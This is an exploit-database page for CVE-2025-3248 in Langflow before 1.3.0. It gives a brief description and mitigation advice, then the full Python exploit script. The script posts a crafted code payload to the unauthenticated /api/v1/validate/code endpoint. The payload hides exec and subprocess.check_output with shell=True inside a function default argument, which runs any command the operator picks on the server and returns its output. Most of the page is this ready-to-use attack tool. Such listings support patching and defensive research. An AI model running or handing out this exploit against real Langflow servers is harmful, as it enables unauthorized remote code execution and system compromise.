header-logo
Suggest Exploit
vendor:
Langflow
by:
VeryLazyTech
6.1
CVSS
HIGH
Remote Code Execution (RCE)
78
CWE
Product Name: Langflow
Affected Version From: Langflow < 1.3.0
Affected Version To: Langflow 1.3.0
Patch Exists: YES
Related CWE: CVE-2025-3248
CPE: Langflow
Metasploit:
Platforms Tested: Windows Server 2019
2025

Langflow 1.3.0 – Remote Code Execution (RCE)

Langflow version < 1.3.0 is vulnerable to remote code execution (RCE) due to a lack of proper input validation. An attacker can exploit this by sending crafted HTTP requests, leading to the execution of arbitrary code on the target system. This vulnerability has been assigned CVE-2025-3248.

Mitigation:

To mitigate this vulnerability, users should update Langflow to version 1.3.0 or newer, which includes patches to address this RCE issue. Additionally, it is recommended to implement proper input validation mechanisms to prevent such exploits.
Source

Exploit-DB raw data:

# Exploit Title: Langflow 1.3.0 -  Remote Code Execution (RCE)
# Date: 2025-04-17
# Exploit Author: VeryLazyTech
# Vendor Homepage: http://www.langflow.org/
# Software Link: https://github.com/langflow-ai/langflow
# Version: Langflow < 1.3.0
# Tested on: Windows Server 2019
# CVE: CVE-2025-3248
# CVE-2025-3248 - Remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code
# FOFA "Langflow"
# Medium: https://medium.com/@verylazytech
# GitHub: https://github.com/verylazytech
# Shop: https://shop.verylazytech.com
# Website: https://www.verylazytech.com

import argparse
import requests
import json
from urllib.parse import urljoin
import random
from colorama import init, Fore, Style

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()

# Initialize colorama
init(autoreset=True)

# Constants
ENDC = "\033[0m"
ENCODING = "UTF-8"
COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE]

def banner():
    random_color = random.choice(COLORS)
    return f"""{Style.BRIGHT}{random_color}
  ______     _______   ____   ___ ____  ____    _________  _  _    ___  
 / ___\ \   / / ____| |___ \ / _ \___ \| ___|  |___ /___ \| || |  ( _ ) 
| |    \ \ / /|  _|     __) | | | |__) |___ \    |_ \ __) | || |_ / _ \ 
| |___  \ V / | |___   / __/| |_| / __/ ___) |  ___) / __/|__   _| (_) |
 \____|  \_/  |_____| |_____|\___/_____|____/  |____/_____|  |_|  \___/ 
                                                                        
                                                                             
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/                       
                 
                    {Style.BRIGHT}{Fore.WHITE}@VeryLazyTech - Medium {Style.RESET_ALL}\n
{Style.RESET_ALL}
"""

print(banner())

class LangflowScanner:
    def __init__(self, url, timeout=10):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        })

    def exploit(self, command):
        endpoint = urljoin(self.url, '/api/v1/validate/code')
        payload = {
            "code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
        }

        try:
            print(f"{Fore.YELLOW}[*] Sending payload to {endpoint}")
            response = self.session.post(endpoint, json=payload, timeout=self.timeout)
            print(f"{Fore.YELLOW}[*] Status Code: {response.status_code}")
            print(f"{Fore.YELLOW}[*] Raw Response: {response.text}")

            if response.status_code == 200:
                try:
                    data = response.json()
                    error_msg = data.get("function", {}).get("errors", [""])[0]
                    if isinstance(error_msg, str) and error_msg.startswith("b'"):
                        output = error_msg[2:-1].encode().decode('unicode_escape').strip()
                        return output
                except Exception as e:
                    return f"[!] Failed to parse response: {str(e)}"
            return f"[!] Exploit failed with status {response.status_code}"
        except requests.RequestException as e:
            return f"[!] Request failed: {str(e)}"

def main():
    parser = argparse.ArgumentParser(description="Langflow CVE-2025-3248 Exploit")
    parser.add_argument("url", help="Target base URL (e.g., http://host:port)")
    parser.add_argument("cmd", help="Command to execute (e.g., whoami)")
    args = parser.parse_args()

    scanner = LangflowScanner(args.url)
    result = scanner.exploit(args.cmd)
    print(f"{Fore.GREEN}[+] Command Output:\n{result}")

if __name__ == "__main__":
    main()